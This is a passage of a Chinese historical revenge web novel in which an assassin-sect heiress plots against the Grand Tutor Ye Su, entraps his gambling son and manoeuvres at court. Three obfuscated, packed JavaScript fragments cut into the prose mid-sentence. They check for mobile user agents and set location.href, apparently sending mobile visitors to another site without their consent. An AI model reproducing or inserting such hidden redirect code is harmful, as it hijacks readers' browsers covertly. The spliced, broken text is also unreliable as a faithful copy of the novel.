l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892828|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白色的披肩,披肩上绣着一朵雪梅,她看着罗忠远去的背影,若有所思道:“他只不过是没有机会而已。” “我既然能够让他坐上这个位置,自然也有把握让他跌落下来,他是一个聪明人,跟聪明人打交道,不会太费劲。” 恶鬼杀人的传言在一夜之间消失殆尽,“看来他不止聪明,还会揣摩人心。” ...... 夜色深黑,雪微换上一身夜行衣,对于一个杀手来说,黑夜是她的掩饰,当初爹爹被诬陷叛国皆由一封书信而来,而那封检举父亲叛国的书信是由爹爹的小弟子也就是当今太傅叶肃亲手上交给当今王上的。 叶肃原名叶庶,是由叶家外室所出,相传叶老太爷外出游玩之时在江南认识了一位歌女,并与这位歌女私定终生,但没想到,世事无常,叶老太爷回来之后,父亲突然去世了,紧接着,他守孝三年,就把这件事给忘了。 十年后,那位歌女因等不到她的情郎而郁郁寡欢,最终撒手人寰,留下一个年仅九岁的孩子。 年幼的叶肃便凭着父亲留给母亲的信物以及兜里仅剩的盘缠,找上门来,这件事在当时传的沸沸扬扬,叶肃在叶家也因此而不受待见。 叶肃的上门导致叶家百年声誉毁于一旦,叶老太爷看见叶肃自然心里也十分不痛快,于是便把他安排到叶府最偏僻的一个角落打杂,但叶肃此人极为聪明,他见到当时来叶家做客的宁王,便主动靠近。 具体的事情,雪微记得不是很清楚,但她知道,叶肃接近爹爹无非是想得到爹爹赏识,后来,他在爹爹的帮助下,获得了科举的资格,然后成为了探花,最后又成为了爹爹的弟子。 雪微小的时候,叶肃经常会来宁王府,每次来的时候还会给雪微带稀奇古怪的玩意和点心,那时候的雪微太小,不太明白大人之间的弯弯绕绕,直到有一次,雪微在书房门口听见了父亲和叶肃正在激烈的争吵,叶肃走出书房的时候,额头处还残留着些许血迹。 雪微不明白到底发生了什么,自从那以后,叶肃便再也没有来过宁王府,后来,就这样平静的过了一年,那也是雪微最快乐的一年。 直到一年后,宁王府三百多口人被屠杀殆尽。 “他们到底在争吵什么?”这也是雪微始终想不明白的事情,为什么看起来和蔼可亲的叔叔最终会背叛父亲,他们之间到底发生了什么? 月光洒落到屋顶上,雪微借着月色在屋顶不停的穿梭,突然,她停下脚步,把自己隐藏到黑暗之中,与黑暗融为一体。 “想不到一个太傅府上,居然有如此多的高手守护。”雪微心中略惊,看来,想杀他的人不止我一个。 她嘴角上扬,趁着夜色,翻墙而入。 “属下参见少宫主,少宫主此次前来,所谓何事?” 自从一年前,少宫主命令她潜入太缚府中,她便杀了夫人身边的丫鬟云锦,顶替了她的身份留在了夫人身边,这一年以来,陆陆续续的把太缚府中的消息传递给七杀殿,但少宫主并没有下达任何指令,此次,少宫主突然亲自前来,霜月心中有些忐忑。 “听闻叶肃有一长子,不学无术,成天喜欢和一些狐朋狗友鬼混,本宫需要一副名单,想知道他到底跟哪些人鬼混。” 霜月迟疑了会,雪微突然冷声道:“霜月,你不会被......” “没有。”霜月打断雪微的话,双膝跪到地面上,七杀殿的规矩,如果一个杀手爱上一个男人,但这个男人没有爱上自己,那么就要亲手杀掉他,或者自杀。 “可是这些事,少宫主是怎么知道的,明明她传递消息的时候,刻意的避免了一些关于大公子的信息。”霜月心底发寒:“难道太缚府中还有其他的杀手。” “如果有下一次,本宫会亲手处决了你。”雪微的身影在月光照耀下,浑身散发着寒气。 雪微看着月亮,沉默了片刻,开口道:“你先退下吧。” “是。”霜月一溜烟,飞速的逃离。 “叔叔,我回来了,你可要好好保重身体,等时机成熟,我会亲自来见你的。” 雪微微微一笑,“十三年来,叔叔,你还会记得我吗?” 她转身,消失在黑暗之中。 7. 离开 十一横卧在房梁上,手中拿着剑穗仔细端详着:“短短三个月不见,没想到,你居然成了庆安王王妃,七杀殿的眼线可真是无孔不入。” 他余光斜视了一眼雪微:“不过,你恐怕要失望了。” 他清了清嗓子:“庆安王双膝残废,卧床不起,连最基本的人道,怕是也不能执行了。” 雪微听得出十一话里话外的嘲讽,夜色清冷,虽然三月开春,但昼夜温差还是有点大,每到夜间,气温总是下降的格外迅速,今日已然快接近零度:“本来也是假的,他卧床不起,对我来说,刚好。” “你真是个狠心的女人,丈夫都快成为植物人了,你还能够在这里悠然自得。” 雪微冰冷的眼神落到十一的身上,烛光照耀到十一的面具上,发出一道耀眼的白光,她冷声道:“你又不是我的丈夫,我们夫妻之间的事情,哪里还轮得到你多嘴。” “嗯......”十一沉默了会,突然开口道:“娴妃娘娘最近与朝中官员来往密切,再过两年,七皇子即将年满十八,到时候,他将会迎娶莫家嫡女莫嫣然。” “莫嫣然?”雪微拿起毛笔在宣纸上迅速写上莫嫣然三个大字。 “你也知道,娴妃是莫家的长女,虽然只不过是一个庶女出生,但与莫家,毕竟同气连枝。” 雪微冷笑道:“她想为七皇子铺路。” 十一冷哼一声:“跟你这个女人说话,简直是太无趣了。” “走了。” 过了会,雪微抬头朝着房梁上看了一眼,房梁上卧躺的十一早已离开。 “莫,嫣,然。”她盯着纸上三个大字看了许久,突然开口道:“锦瑟。” “少宫主,有何事吩咐。”锦瑟推开房门走了进来。 “去查一查这个人。”雪微把写着莫嫣然三个大字的纸片递给锦瑟道:“莫家掌管着西晋一半的财力,莫家的嫡女虽然出身于商贾之家,但也是不能小看的。” “是。”锦瑟接过那张纸片,转身离开了。 屋内一下子安静了不少,雪微叹了口气。 复仇这条路上,一定要谨慎为之,不能遗漏掉任何一个人。 当初宁王府一夜之间被屠杀殆尽,第二日姐姐便在李府上吊自杀,雪微总觉得姐姐的死,很不寻常,她坚毅果敢,孩子才五岁,她怎么可能舍得丢下自己的孩子,选择自杀呢? “姐夫,你到底是个怎么样的人?”雪微在纸上写下李朔两个大字:“你曾经承诺过要守护姐姐一生一世,你失约了。” 她看着烛火笑了笑,写着李朔两个大字的宣纸越烧越旺,直至消失。 ...... “李玄,你想回李府吗?”雪微看着李玄怔了怔,李玄是姐姐的孩子,当初,姐姐自杀后,李府因为李玄身体里流淌着林家的血脉,于是便把年仅五岁的李玄送到了乡下的庄子里生活,让其自生自灭。 雪微心里嘲讽道:“虎毒不食子,李朔,可能你也没曾想到李玄还活着吧。” “我想,我想把娘亲的牌位重新放回李家的祠堂。”李玄眼神坚定道:“我想要为娘亲讨回公道。” “也许你的娘亲不一定想回李家呢?”她并没有告诉李玄自己的真实身份,复仇这条路路太过艰险,稍不注意,就会全盘皆输,她不想让李玄知道太多。 空气瞬间陷入凝滞,二人沉默了许久,雪微明白,把姐姐的牌位重新放回李家的祠堂只不过是让李玄重新回到李家的一个借口,他真正想要的,是整个李家。 “既然他敢要,那我就敢给,李家毕竟也有姐姐的一部分。”雪微心中想了许久,“我总不能保护他一生一世,既然他长大了,就应该让他独自去飞翔,至于未来的事情,未来再说。” 李玄看着窗外树枝上的小鸟叽叽喳喳的跳跃着,他的眼神中充满了羡慕与向往,他开口道:“雪姨,你为什么要这么帮我,我与你并无任何关系?” 雪微顿了顿,心中想道:“怎么可能没有关系呢?有些事,我只是不想把你牵扯进来罢了。”她低头沉思片刻,说道:“我与你母亲是至交好友,你小的时候,我抱过你,只不过你太小,不太记得罢了。” “原来如此。”他垂下眼眸,叹了口气:“自从外公一家被诬陷叛国,母亲自杀,当初与母亲结交的那些人都走的走,散的散,没想到雪姨居然还以母亲好友自称。”他苦笑道:“飞鸟尽良弓藏,狡兔死走狗烹。” “是啊。” 雪微感慨道:“你相信你的母亲是自杀的吗?” “他们都说母亲是自杀的。”李玄沉默了许久:“但我不相信母亲会自杀,母亲去世的前一晚,我们都在一起,她还在给我讲故事,和往常一样。” “结果,第二天清晨,我醒来,府中的下人就告诉我,母亲死了,她身边的丫鬟也都消失得无影无踪,紧接着,我也被送往乡下的庄子。” “这一切来得太突然了,我连母亲的遗体都没有见到。” 说着说着,他抽泣道:“我一定要查出来,母亲到底是怎么死的,我要把那些害曾经伤害过母亲的人,一一揪出来,要让他们给母亲赔罪。” “你母亲是一个好人,她对待每一个都很好,可是,这样一个良善的人,连怎么死的都不知道。”每每想起此事,雪微都伤心至极,当年,她要是早点过去通知姐姐,家里出事了,也许姐姐不会毫无防备,就这么死了。 “好,既然你想回到李家,拿回属于你与你母亲的一切,雪姨一定会全力支持你。”雪微看着李玄那双深邃的眼眸:“你想做什么就大胆去做吧。” “她的模样,看起来大不了我多少岁,我母亲怎么可能是她的至交好友?”李玄表面笑了笑,但脑子却十分清楚,当年他五岁被李家送到乡下别院,母亲已经二十二岁了,如果雪姨是母亲的至交好友,那么今年她应该是三十多岁,但她看起来却如此的年轻,不像三十多岁的人。 五年前,他失手杀害了别院里李冲,李冲是别院管家李牧的儿子,性格暴躁,经常喜欢欺负弱小。自从李玄被李家丢弃到别院以后,李冲经常对他冷嘲热讽,辱他,骂他,有的时候还拿鞭子抽他。 后来他与李冲激烈的争吵,一时失手,他用力推倒了李冲,竟没想到,李冲居然被身后的烛台刺穿了心脏,他死了,鲜血从他的胸口喷涌而出,溅满一地。 李牧为了替儿子报仇,把他锁在铁笼里,像狗一样的打他,骂他,折磨他,甚至让他吃馊掉的食物,李玄觉得自己命悬一线,就在他以为自己即将死去的时候,雪姨一袭黑衣,如同闪电般,刺穿了李牧的咽喉。 “你是谁?”李玄睁大眼睛呆呆的看着雪微问道:“你是来杀我的吗?”他每一天都活在胆战心惊之中。 雪微看着他的双眼,冷声道:“我是来救你的。” “救我?”李玄苦笑一番,不可置信,“居然还会有人前来救我。” “不管你相不相信,今日,你必须跟我走,要不然,你只有死路一条。”雪微打碎铁笼的锁芯,走进铁笼拉住李玄的手,二话不说,便往外拽。 “你不告诉我你是谁,我是不会跟你走的。”李玄用力甩掉雪微的手,心中充满疑惑,问道:“你为什么救我,你想要什么?” 雪微冷笑一声,她上下打量李玄,这小孩,这么多年不见,做事到越发谨慎了:“你觉得,我从你的身上还能够得到些什么吗?” “也是。”他声音低沉道:“确实没有。” “就是因为没有,所以,我才感到更加的奇怪,你为什么会冒着得罪李家的风险,前来救我,你难道不知道李牧是李家的人吗?” “知道。”雪微扫了眼李玄,脸上没有任何表情,“知道又如何,他只不过是李家的一条狗罢了,难道,李家会为了一条狗来抓我。” 她冷哼一声,“就算李家想为一条狗出气,那他也得知道我是谁,不是吗?” 雪微笑了笑,“这下,你肯跟我走了吧。” “我想什么,她都知道,这个人心思深沉。”李玄看不明白这个人,心中暗自想道:“我杀了李冲,李牧也死了,如果李家派人前来查看,自己必然逃不过,说不定,他们二人的死也会安在我的头上,左右不过一死。”他看了看雪微,点了点头。 “我跟你走。” “这五年,她像一个谜一般,白天永远都见不到她的人,但一入夜,她便会出现,教我武功,传我心法,她终日带着一副面具,我甚至从未见过她真正的面目。”李玄看着雪微的身影,直觉告诉他,此人深不可测。 雪微的身上有着许多的秘密,她对任何事都有自己独到的见解,有一次,雪微教完他招式,离开时,李玄趁着夜色偷偷跟随雪微一路,但不知怎么的,居然把自己给绕丢了,他一个人在一片树林里转了三天三夜,这才走出来。 等他走出来之时,雪微正站在树林出口处笑着看着他。 她什么都知道,但什么都不说,憋得李玄心里堵得难受。 “她到底是谁,为何对我了如指掌。”李玄心底一阵发寒,得罪任何人都不能得罪她。要不然,自己怎么死的都不知道,他还不能死,他还要回到李府为母亲伸冤。 ...... “少宫主,这是霜月今早传来的消息。”锦瑟把纸条递给雪微,雪微接过纸条看了看,“赌坊?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892829|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有意思。” “叶肃一生最厌恶赌博,竟没想到他的大儿子叶宏居然会成为赌徒。”这是今日收到最好的消息了,雪微抬头看了看窗外,窗外的那颗枯木上面,又重新长出了嫩芽。 她换了一身男装,给自己装扮了一番。 逍遥楼是京城最大的赌坊,其背后的经营者是一个叫二爷的人,此人精明能干,最擅长的就是洞察人心,雪微站在二楼,仔细观察着那个叫叶宏的男人,她对赌博不是很了解,但是她对赌徒却是十分的了解。 他的双眼炯炯有神,恶狠狠的死盯着桌子,眼神中透露着一股子贪婪。 赌徒们一掷千金,满怀信心的掷下骰子,希望能够一夜暴富,但雪微却察觉出他内心是无比的焦躁。 “大......大......大......”众人像押宝似的,由最开始的兴奋到忧虑,然后开始感到不安,焦躁,像斗兽场被困住的野兽般,拼命的挣扎着,直到被输掉所有的筹码,最后又变得一无所有。 循环往复,周而复始,致使深陷泥潭,沉迷其中,无法自拔。 叶宏最终输掉了所有的筹码,整个人仿佛抽丝剥茧般,被侵蚀得体无完肤。 “两千两,我借给你。”红袖从一旁走过,往桌面扔下两千两银票:“公子,还赌吗?” 叶宏看着桌面上的两千两银票,双眼发光,他紧握银票,对着红袖说道:“等我赢了,我加倍奉还。” 红袖抿嘴笑了笑,赌瘾就像毒一般,一旦种下,就会万劫不复。 ...... “二爷。”雪微隔着面纱仔细瞧了瞧眼前这个男人,他的眉间有一道深深的刀疤,长得十分狰狞。 “属下拜见少宫主。” “起来吧。”雪微面无表情,声音十分冰冷,为了这一刻,她已经等了十三年了,每一天,她的脑中都会演示着手刃仇人的快感,看着仇人在她的眼前,生不如死,痛苦的求饶,都不能动摇她为宁王府三百条人命复仇的决心。 死有什么可怕的,生不如死才是最可怕的,我要让你们活着,在地狱里煎熬的活着,为你们曾经犯下的罪孽忏悔,为三百条被你们杀害的亡灵赎罪。 “开心吗?”雪微看着眼前垂头丧气的叶宏:“想不想再来一把,扳回一局,还清所有的赌债。” 她用手指勾起叶宏的下巴,仔细瞧了瞧,“长得还不错,眉眼七分像他。” “可惜。” “饶了我吧,我再也不敢来。”叶宏用尽全身力气挣脱制约着他的两个人,向前攀爬着,紧抱着雪微的大腿,“我父亲是当朝太缚,他会替我还钱的。” “太缚?”雪微狡黠一笑:“你真的是叶太缚家的公子吗?” 叶宏使劲的点头:“是,我父亲是太缚,等我回去,我自然会把钱送来的。” 雪微看了看手中的借条,“三万两啊,你确定,你父亲会替你还钱?” “会......一定会的,我是他唯一的儿子。”叶宏说话的声音都快碎掉了,“还有我娘,我娘一定会替我还的。” 雪微摸了摸下巴,装模作样问道:“我该如何相信你。” “如果你跑了,我又能够去哪里找你?” 叶宏惊恐道:“我不会跑的,我的父亲是当朝太缚,我怎么可能会跑?” 雪微笑了笑,从叶宏的身上取下了他的随身玉佩,“你就安心在这里住下吧,我会叫人去太缚府中取钱,钱一到帐,我立马会放了你,怎么样?” “不......不......不能告诉父亲,要不然......要不然他会打死我的。”叶宏声音颤抖道:“他会打死我的。” “不会的,你是他唯一的儿子,他怎么舍得呢?”雪微微微一笑,看着叶肃的儿子如今像狗一样的趴在地上,可怜兮兮的祈求她,叶肃要是知道了,会是怎么样的一个神情,雪微想了想,心里感到十分欣慰。 叶宏感到无助而绝望:“他会的,其实......我并不是他唯一的儿子,反而,他经常在家里一直贬低打压辱骂我。” 他抱紧雪微的大腿,“我求求你,我愿意为你办任何事,只要你能饶我一命。” 雪微想了想,“你当真愿意替我卖命?” “我愿意。”他跪在地上,使劲的磕头,“只要你能够绕我一命,我愿意替你干任何事。” 从叶宏的口中得知,他表面上虽然是太缚府中的大公子,可是实际上他的母亲却是一个不知名的风尘女子,他只不过是一个替身,那真正的大公子又去了哪里呢? “德高望重,玉洁松贞。”雪微冷哼一声:“不过是一个道貌岸然的伪君子罢了。” 8. 蛊惑 “你想成为叶府真正的大公子吗?”雪微摆了摆手,示意他们退下,“如果我说我能够让你成为真正的叶府大公子,你愿意吗?” 叶宏欣喜若狂,内心的欲望瞬间被点燃,随后他摇了摇头:“不可能的,母亲是绝对不可能让我代替她儿子成为真正的叶府大公子的。” “等她儿子回来,她会立马杀了我的。” “所以,你害怕了。”雪微冷冷的嘲讽道:“胆小鬼。” 室内昏暗的光线透过窗户洒了进来,落到了雪微的身上,她静默的吸了口气,“给你半个小时好好想想,是想成为真正的叶府大公子,坐拥整个叶府,还是只想当一个冒名的替身,随时随地的死去。” 一个赌徒自然明白什么才是对自己最好的选择,雪微静静地看着叶宏,他的脸上虽然没有什么很明显的变化,但是他眼神里却多了些许贪婪,也许是雪微的话刚好与他的想法不谋而合,他正好想取而代之,只不过是没有机会罢了。 叶宏心里有些质疑,他目光落到雪微的身上,试探性问道:“你真的可以帮我成为真正的叶府大公子吗?” “只要你坚定的相信自己就是叶府大公子,你就可以成为叶府大公子。”雪微微笑的看着叶宏,一个赌徒,他投入的越多,就越不会轻易的放弃,如果就此放弃了,那么之前所付出的一切,都将付诸东流,雪微对这种赌徒心理了解的十分透彻,他们是不甘心自己就这样出局的。 “我是,我就是叶府大公子,所以我现在应该怎么做?” “你要做的就是提前找到真正的叶宏,然后杀了他。”雪微摆弄着自己纤细的手指:“他消失了,也就对你够不成威胁了。” “我明白了。”叶宏眉头紧皱,目露凶光:“除了父亲,没有人知道真正的叶宏在哪里。” “叶肃?”雪微低声道:“大夫人也不知道吗?” 叶宏叹了口气,无奈的摇了摇头:“母亲应该是不知道的,如果她要是知道,是不可能把我留在她的身边的。” “她把我留在她身边的唯一目的就是假扮她的儿子,巩固她在府里的地位。” 雪微沉默了会,叶肃到底把真正的叶宏藏到哪里去了,他这么做的目的又是什么呢?难道,他有什么不可告人的目的,又或者他派真正的叶宏去执行什么重要的任务? 一粒黑色的药丸瞬间被弹入叶宏的嘴里,“你可以走了,有事,我自然会来找你。” “你给我吃了什么?”叶宏心中感到疑惑,浑身上下冒着冷汗。 “没什么,只要你足够听话,它对你的身体造成不了任何影响。”雪微漆黑的眼眸冷冰冰的看着叶宏,像看动物般:“记得,找到真正的叶宏,然后杀了他,等你成为真正的叶府大公子之时,我就会给你解药。” 她看着一瘸一拐向外走的叶宏,低声道:“叶肃,我到要看看你到底在玩什么把戏。” “红袖,你去查查,叶老太爷当年出去游玩之时在江南遇到的那位歌女,她到底是怎么死的。” “是。”红袖应声道。 “十岁的男孩从江南孤身一人来到京城,逼得叶家不得不认他,从叶家一个不受待见的庶子摇身一变,成为如今当朝太缚。” “叶肃,你到底是一个怎么样的人?” ...... “少宫主,今早,长公主府里的宫女送来一副请帖,说是春日百花宴,请王妃一定要前往公主府参加。”锦瑟把手中请帖递给雪微。 雪微接过请帖,简单翻开看了看,“我不去找你麻烦,你反而先来招惹我了。” 她合上请帖,随手往桌上一扔。 昨晚下了一夜的雨,清晨起床,空气中弥漫着淡淡的野草气息,雪微站在院中抬头朝空中望去,树叶上的雨滴还未消散,清晨的阳光洒下,晶莹剔透的,雪微忍不住多做了几次深呼吸。 ...... “姑娘,你的荷包掉了。”身后传来一阵温润儒雅的声音。 雪微转过身,抬眸看了一眼,一名书生模样的白衣男子从容的从满是泥泞的地面捡起荷包,并用丝帕微微擦拭:“姑娘......”他看着雪微的面容,惊讶得有些说不出话来。 “公子?”雪微轻轻喊出声,把男子从恍惚中拉回现实,她对着该男子微微行礼:“多谢公子。” “对不起。”男子倒退一步,“是我唐突了,不过,姑娘长得很像我以前认识的一个好友。” “天底下,长得相似的人多了去,公子那位好友在哪里,有机会,可以引荐,我倒是很想看看到底长得有多相似,让公子见到我就愣住了。”雪微脸上始终挂着微笑,但眼神中尽是淡漠。 “她......”白衣男子哽咽住,把荷包递给雪微:“你们应该没有机会相见了。” 雪微抿嘴,笑得有些勉强:“有缘,自会相见。” “多谢公子。”她对着白衣男子微微行礼,便转身离去。 “齐哥哥,好久不见。”雪微脸色微变,平静的嘴角勾勒出一抹冷冽的笑。 “小姐,去百花宴的礼品还没选。”锦瑟在一旁轻轻提醒道。 她们走访几家花店,并没有见到稀奇的花种,雪微抬眼,在角落里看到一盆白梅,细腻如雪,独树一帜,静静地屹立在角落之中,宛如高贵的女神,纤尘不染。 “这个天气,白梅居然还会绽放,可真是稀奇。”雪微走到白梅身前,仔细的瞧了瞧。 锦瑟道:“老板,把这盆白梅包起来吧。” “好嘞。”店小二兴奋的快步走了过来,“姑娘真是好眼光,这盆白梅可是刚运过来的。”他麻利的把白梅包了起来。 “一共五两银子。” “五两?”锦瑟质疑道:“老板,这花要五两银子,你不会搞错了吧。” “错不了。”店小二陪着笑脸道:“这是从雪域一路冷藏过来的。” “雪域?”雪微盯着这盆白梅,心中充满了好奇,如今天气转暖,白梅却还未凋谢,看来是天助我也。 雪微平静道:“给他吧。” “是,小姐。”锦瑟十分不情愿的从荷包里掏出五两银子递给店小二。 店小二一脸笑道:“多谢二位小姐,多多光临本店。” ...... 万物复苏,百花争艳,雪微行致湖畔,绕过白石桥,便隐隐约约听见丝丝琴音入耳,琴音之中还掺杂着女子的谈笑声。各官家的夫人小姐都携带着知名的花种前来,看上去兴致盎然。 雪微把白梅交给宫女,便朝着园内缓步走去,一路畅然前行,大家交头接耳,对她指指点点的,但没有人认识她。 观百花之姿,赏百花之雅致,雪微扫视一眼四周,眼神十分淡漠,这些人一个个打扮得花枝招展的,哪是什么百花宴,反而倒像是鹊桥宴。 “五嫂。”华衣女子从桥上缓缓走来,一袭朱红色长裙,裙身以金丝勾勒,阳光下,蝴蝶图案栩栩如生,彰显尊贵。 “长公主。”众人对着公主行礼。 长公主微笑的朝着雪微迎面走来,“五嫂,自从你与五哥成婚以来,这还是我们第一次见面。” “很高兴你能够来参加本宫举办的百花宴。” 雪微微笑着回礼,不知说些什么,与这些官家女子攀谈,很明显的,雪微觉得浑身不自在,她们表面上看起来面带微笑,实则骨子里却巴不得看你笑话。 “漠北苦寒,气候干燥,听说连水源都极其缺少,五嫂从漠北一路而来,想必是遭了很多罪吧。” 明面上看上去是关怀,实则背地里却是挖苦。雪微笑了笑,“漠北儿女,不畏艰辛,坚韧与不屈是我们的铠甲。” 长公主脸色微变,斜眼扫视一番,然后面带微笑的看着雪微。 “漠北环境恶劣,四处都是荒漠,也不知你们在那里是怎么生活下去的。”一名雍容华贵的夫人语气里充满了鄙夷,看起来十分傲慢。 “你来到我们西晋,是享福了,瞧瞧西晋的山,西晋的水,甚至连空气都比你们漠北的要清甜。” “是呀,看你穿的这么的简朴,不知道的,还以为你在西晋受了虐待。” ...... 众人你一言我一语的,雪微算是看明白了,今日,说白了,就是来她面前耀武扬威的,既然如此,那何不如让你们更加的得意一番呢? 雪微报以微笑的走到百花之中抱起白梅,它在阳光之下,晶莹剔透,看起来十分寡淡。她扯下几片花瓣,洒到食物,酒水里,花香四溢,闻起来,淡雅迷人。 “公主,尝尝。”雪微端起一杯酒水递到公主身前,见公主神色之间充满怀疑,于是便一饮而尽,她看着公主,笑道:“白梅似雪,简洁而不失高雅,就如同公主一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892830|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般,在这么多的花花草草里,却能够独树一帜。” “公主之高贵,何必与这群人争相斗艳,你即使站在这里,都是一道迷人的风景。” 长公主眉头舒展,心底如同吃了蜜般,接过雪微手中的酒杯,细细品尝道:“果真是清香扑鼻,令人陶醉。” “我叫淑宁,嫂嫂在人后不必称呼我长公主,显得太过于疏远了。”长公主对着雪微笑了笑,“今日百花宴,嫂嫂尽情玩好,我还有些事,就先行离开了。” 她斜视了眼众人,便大摇大摆的离开了。 “淑宁,和我玩心计,你还太嫩了。”雪微看着长公主离开的背影,脸上露出邪魅的笑容。 ...... 春风拂过,转眼三月已过,今日早朝,太子宣布即将迎娶定远将军独女张芝芝为太子妃,圣旨已下。 “张将军乃是曾经陪同父亲出生入死的战友,还曾经多次救助父亲于危难之际,与宁王府的惨案并没有直接的联系。”雪微心里一阵堵塞,如今,张将军独女张芝芝即将成为太子妃,怕是要牵扯到整个计划之中。 雪微沉思了许久,按照太子的心性来说,怎么可能会与一个没有什么兵权的武将的女儿联姻呢?难道这其中另有什么隐情? “锦瑟,把这封信交给张将军。” 不管怎么样,她都不能眼睁睁的看着无辜之人牵扯进来,这条路上,已经死了太多的人了,雪微不想看到曾经跟随父亲的战友,一个一个接连消失。 ...... “我不嫁。”芝芝眼眶含泪,她不明白,明明叫画师把自己画的那么的丑,为何太子却选择了她成为太子妃,她心里委屈至极,有苦难言。 张勇看着女儿痛苦的神情,感到无能为力,“明明有更好的选择,太子为何却偏偏挑了芝芝当太子妃,难道太子想拉拢我。”他很快否认了这个想法,“我一无兵权,二也从不结党营私,在朝中相当于一个挂职武将,太子怎么可能会想拉拢我呢?” 他独自一人在书房沉默了许久,始终想不明白,要是早知道芝芝会当选太子妃,那还不如提前给她把亲事定了,不管嫁给谁,总比嫁入宫中要强上许多。 想想当年,辰贵妃是多么的耀眼,但后来,宁王倒台之后,辰贵妃也被逼的喝下了毒酒,如果她要是不进宫,不嫁给那个人,也不至于最后连命都没有了,往事如烟,张勇心里堵的慌。 如今女儿即将进宫,成为太子妃,他总有一种不好的感觉,芝芝会不会重蹈覆辙,步了辰贵妃的后路。 可是如果不嫁给太子,她又能够逃去哪里呢?普天之下莫非王土,张勇摇了摇头,无力的叹了口气,辰贵妃背后有宁王,最后也落得了这样的一个下场,芝芝有什么呢?一个什么都没有的挂职的父亲吗? “如果让芝芝假死,离开这里呢?”张勇心里顿时冒出了一个可怕的念头,但瞬间被压制了下去,他做不到,看着府中的老老小小,这里有些人是从他一无所有跟着他一直到现在,他应该给这些人养老,让他们善终。 “将军,府外有人送来了一封信,说是一定要请将军亲自过目。”刘禧手里拿着一封信递给张勇,刚转身准备离开,张勇开口道:“刘禧,你来府里多久了?” “属下来府里已经有二十余年了。”他对着张勇笑了笑:“属下能够在这里娶妻生子,拥有这一切,还得多谢将军。” 张勇也笑了笑,“你先去忙吧。” 刘禧弯腰点了点头,便离开了。 “二十年,时间过得可真快啊。宁王被诬陷成为叛国分子,也差不多十三年了。”他想起了他们一起上战场,一起在战场杀敌,一起喝酒,一起卧榻而眠,这一切的事情好像刚过去还没多久,可是曾经的那些战友却一个一个的都离他而去。 他打开桌上的信封,“太子娶令千金,恐怕另有目的,望将军小心谨慎,切勿轻信他人。” “目的。”他又何尝不知,但帝王之威,是绝不可能冒犯的,芝芝既然生为张家的女儿,就理应守护张家。 他盯着这张信看了许久,一股淡雅的花香从笔墨中流淌了出来,“写这封信的到底是何人,她为什么要告诉我这些,她又有什么目的。” “看来这朝中怕是要大变天了。”张勇右手紧握着信纸,沉默了许久。 “既然躲不过,那么只能迎面而上了。” 9. 秘密 张芝芝六神无主,心中郁结难消,她策马飞奔来到军营,“我找孟毅。”圣上赐婚的事情已经折磨她好几日了,每晚都彻夜难眠。 她见到孟毅,眼神有些闪烁,“孟大哥,我......我......”这种事情,芝芝不知怎么说出口,她想了想,孟大哥会不会已经知道了她被圣上赐婚的事情,正在愁眉不展之时。 孟毅开口道:“我知道了。”他的声音十分低沉,沉默了许久,艰难开口道:“芝芝,王命难为,我们之间,就到此为止吧。” “不。”芝芝眼中充满了怒火,心中有千言万语,却不知如何表达,她祈求道:“我不要,我不要和你分开。” 她顿了顿,声音颤抖道:“孟大哥,我们私奔吧,我不想嫁给太子,也不想当什么太子妃,我只想和你在一起。”她睁着一双无辜的大眼,眼神之中充满了绝望的看着孟毅。 孟毅脸上没有任何的表情,眼神淡漠的推开芝芝:“芝芝,对不起,我做不到如此的自私,我还有家人,还有朋友,我不能为了你抛弃我的家人。” “对不起。”他转身,朝着军营方向走去。 “孟毅,你为何能够做到如此的绝情。”芝芝双手紧握成拳,心中的愤怒,如同暴雨般,她以为孟毅会选择她,可如今看来,这一切都只不过是个笑话。 孟毅眉头紧锁,他的眼神如刀刃般凌厉,“芝芝,对不起,王命难为,即使我与你私奔,但普天之下莫非王土,我们又能够逃到哪里去呢?” “别说逃不逃得过,就算逃过了,但是逃亡的生活过久了,你会不会厌倦,会不会后悔当初选择了我,对不起,芝芝,请你原谅我的自私,我无法抛弃我的家人,也不想带着我的家人与我过着那种逃亡的生活。” “他不选择你,不代表他不爱你。”张勇站在芝芝身后,无奈的拍了拍芝芝的肩膀,“他的选择是对的,如果你们私奔了,那么你知道你将会面临着什么吗?” “张家,孟家,都会为你们两人的任性付出代价。” “皇家的尊严,神圣而不可侵犯。” “我知道。”芝芝心如刀割,泪水喷涌而出,“爹,我只不过是想试探试探他,我想知道我在他心中究竟占有什么样的位置。” “孩子。”张勇长叹了口气,他抚摸着芝芝的头发说道:“这事都怪爹,早知道,就提前让你们把婚事定下来,这样,也不会造成如今的局面。” 芝芝摇头道:“不,这事不能怪爹爹,这都是女儿的命,也许我和他,两人注定无法在一起。” 她看着孟毅逐渐消失的背影,平静道:“爹,我们回家吧。” ...... 最近,李府十分热闹,自从失去宁王这座靠山以后,李府的状况就一路向下,毕竟,大臣们都知道,李朔曾经是宁王的女婿,虽然他极力的襒亲关系,但终究改变不了他们曾经是亲家的事实。 